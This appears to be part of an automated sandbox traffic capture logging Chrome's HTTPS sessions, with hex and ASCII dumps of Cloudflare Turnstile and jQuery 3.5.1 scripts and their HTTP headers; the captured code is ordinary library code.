2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49729	104.17.24.14	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:31 UTC	380	OUT	GET /ajax/libs/jquery/3.5.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:31 UTC	961	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:31 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb09ed3-15d84" Last-Modified: Mon, 04 May 2020 23:01:39 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 891227 Expires: Sat, 29 Nov 2025 17:41:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CpyWqKJXcV54blnArFPN%2F%2BlLpxHCBAXQqOu2uC%2Fz4yp5b4QwIOU0XikXm0C81QlQ7mE1%2BhMZ9y1thkUE07UntPSKdq01wV4Rxyt8YUZG62cfH3ixtDQ7QJ4MGZ4legAO7u6DlZfn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef6c9583d0a6a4e-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:31 UTC	408	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a Data Ascii: 7bef/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("j
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 76 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 76 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 79 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 65 Data Ascii: typeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 30 3c 3d 6e 26 26 6e 3c 74 3f 5b 74 68 69 73 5b 6e 5d 5d Data Ascii: (-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 72 3c 6e 3b 72 2b 2b 29 65 5b 69 2b 2b 5d 3d 74 5b 72 5d 3b 72 Data Ascii: e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];r
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c 5d 29 28 3f 3a 5c 5c 5c 5c 2e 29 2a 29 22 2b 4d 2b 22 2b 24 22 2c 22 67 22 29 2c 5f 3d Data Ascii: ]))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+\|((?:^\|[^\\\\])(?:\\\\.))"+M+"+$","g"),_=
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 74 68 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 4c 2e 61 70 70 6c 79 28 65 2c 4f 2e Data Ascii: ){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 2c 74 3d 6e 75 6c 6c 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 65 28 65 2c Data Ascii: eturn r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 Data Ascii: r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 Data Ascii: id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e
2024-12-09 17:41:31 UTC	1369	IN	Data Raw: 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 62 6c 65 64 3d 21 30 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 64 69 Data Ascii: e","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49732	104.18.95.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:41:32 UTC	383	OUT	GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 17:41:33 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 17:41:33 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47692 Connection: close accept-ranges: bytes last-modified: Tue, 03 Dec 2024 18:31:41 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ef6c96189158c48-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 74 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 72 29 7b 76 61 72 20 6e 3d 65 3d 3d 6e 75 6c 6c 3f 6e 75 6c 6c 3a 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 6e 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 75 3d 21 31 2c 67 2c 68 3b 74 72 79 7b 66 6f 72 28 6e 3d 6e 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 67 3d 6e 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 67 2e 76 61 6c 75 65 29 2c 21 28 72 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 72 29 29 3b 63 3d 21 30 29 Data Ascii: t(e){if(Array.isArray(e))return e}function qt(e,r){var n=e==null?null:typeof Symbol!="undefined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(n!=null){var o=[],c=!0,u=!1,g,h;try{for(n=n.call(e);!(c=(g=n.next()).done)&&(o.push(g.value),!(r&&o.length===r));c=!0)
2024-12-09 17:41:33 UTC	1369	IN	Data Raw: 5d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 70 29 7b 69 66 28 6f 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 65 78 65 63 75 74 69 6e 67 2e 22 29 3b 66 6f 72 28 3b 67 26 26 28 67 3d 30 2c 70 5b 30 5d 26 26 28 6e 3d 30 29 29 2c 6e 3b 29 74 72 79 7b 69 66 28 6f 3d 31 2c 63 26 26 28 75 3d 70 5b 30 5d 26 32 3f 63 2e 72 65 74 75 72 6e 3a 70 5b 30 5d 3f 63 2e 74 68 72 6f 77 7c 7c 28 28 75 3d 63 2e 72 65 74 75 72 6e 29 26 26 75 2e 63 61 6c 6c 28 63 29 2c 30 29 3a 63 2e 6e 65 78 74 29 26 26 21 28 75 3d 75 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 75 3b 73 77 69 74 63 68 28 63 3d 30 2c 75 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 75 2e 76 61 6c Data Ascii: ])}}function l(p){if(o)throw new TypeError("Generator is already executing.");for(;g&&(g=0,p[0]&&(n=0)),n;)try{if(o=1,c&&(u=p[0]&2?c.return:p[0]?c.throw\|\|((u=c.return)&&u.call(c),0):c.next)&&!(u=u.call(c,p[1])).done)return u;switch(c=0,u&&(p=[p[0]&2,u.val
